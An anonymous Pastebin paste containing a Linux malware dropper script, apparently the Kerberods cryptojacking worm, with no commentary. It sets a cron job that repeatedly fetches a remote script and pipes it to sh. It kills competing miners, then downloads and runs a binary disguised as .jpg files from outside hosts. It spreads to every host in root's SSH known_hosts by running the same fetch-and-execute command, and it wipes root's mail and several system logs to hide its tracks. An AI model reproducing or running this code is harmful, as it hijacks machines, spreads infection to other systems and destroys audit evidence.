Guest User

Untitled

a guest
Apr 16th, 2019
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.54 KB | None | 0 0
  1. export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
  2.  
  3. mkdir -p /tmp
  4. chmod 1777 /tmp
  5.  
  6. echo "*/15 * * * * (curl -fsSL https://pastebin.com/raw/0Sxacvsh||wget -q -O- https://pastebin.com/raw/0Sxacvsh)|sh" | crontab -
  7.  
  8. ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9
  9. ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9
  10. ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9
  11. ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9
  12. ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9
  13. ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9
  14. ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9
  15. ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9
  16. ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9
  17. ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9
  18. ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9
  19. ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9
  20. ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9
  21. ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9
  22. ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9
  23. ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9
  24. ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9
  25. ps -ef|grep -v grep|grep "/tmp/devtool"|awk '{print $2}'|xargs kill -9
  26. ps -ef|grep -v grep|grep "systemctI"|awk '{print $2}'|xargs kill -9
  27. ps -ef|grep -v grep|grep "plfsbce"|awk '{print $2}'|xargs kill -9
  28. ps -ef|grep -v grep|grep "luyybce"|awk '{print $2}'|xargs kill -9
  29. ps -ef|grep -v grep|grep "6Tx3Wq"|awk '{print $2}'|xargs kill -9
  30. ps -ef|grep -v grep|grep "dblaunchs"|awk '{print $2}'|xargs kill -9
  31. ps -ef|grep -v grep|grep "/boot/vmlinuz"|awk '{print $2}'|xargs kill -9
  32. netstat -anp|grep 119.9.106.27|awk '{print $7}'|sed -e "s/\/.*//g"|xargs kill -9
  33. netstat -anp|grep 104.130.210.206|awk '{print $7}'|sed -e "s/\/.*//g"|xargs kill -9
  34.  
  35. cd /tmp
  36. touch /usr/local/bin/writeable && cd /usr/local/bin/
  37. touch /usr/libexec/writeable && cd /usr/libexec/
  38. touch /usr/bin/writeable && cd /usr/bin/
  39. rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeable
  40. export PATH=$PATH:$(pwd)
  41. if [ ! -f "/tmp/.XIMunix" ] || [ ! -f "/proc/$(cat /tmp/.XIMunix)/io" ]; then
  42. chattr -i kerberods
  43. rm -rf kerberods
  44. ARCH=$(uname -m)
  45. if [ ${ARCH}x = "x86_64x" ]; then
  46. (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://1.z9ls.com/t6/701/1555396475x2918527158.jpg -o kerberods||wget --timeout=30 --tries=3 -q http://1.z9ls.com/t6/701/1555396475x2918527158.jpg -O kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://i.ooxx.ooo/2019/04/15/b39d9cbe6c63d7a621469bf13f3ea466.jpg -o kerberods||wget --timeout=30 --tries=3 -q https://i.ooxx.ooo/2019/04/15/b39d9cbe6c63d7a621469bf13f3ea466.jpg -O kerberods) && chmod +x kerberods
  47. elif [ ${ARCH}x = "i686x" ]; then
  48. (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://1.z9ls.com/t6/701/1555396530x2918527158.jpg -o kerberods||wget --timeout=30 --tries=3 -q http://1.z9ls.com/t6/701/1555396530x2918527158.jpg -O kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -o kerberods||wget --timeout=30 --tries=3 -q https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -O kerberods) && chmod +x kerberods
  49. else
  50. (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL http://1.z9ls.com/t6/701/1555396530x2918527158.jpg -o kerberods||wget --timeout=30 --tries=3 -q http://1.z9ls.com/t6/701/1555396530x2918527158.jpg -O kerberods||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -o kerberods||wget --timeout=30 --tries=3 -q https://i.ooxx.ooo/2019/04/15/d8dfa3690186ca8ab80cb1028b01a770.jpg -O kerberods) && chmod +x kerberods
  51. fi
  52. $(pwd)/kerberods || /usr/bin/kerberods || /usr/libexec/kerberods || /usr/local/bin/kerberods || kerberods || ./kerberods || /tmp/kerberods
  53. fi
  54.  
  55. if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  56. for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/0Sxacvsh||wget -q -O- https://pastebin.com/raw/0Sxacvsh)|sh >/dev/null 2>&1 &' & done
  57. fi
  58.  
  59. echo 0>/var/spool/mail/root
  60. echo 0>/var/log/wtmp
  61. echo 0>/var/log/secure
  62. echo 0>/var/log/cron
  63. #
Add Comment
Please, Sign In to add comment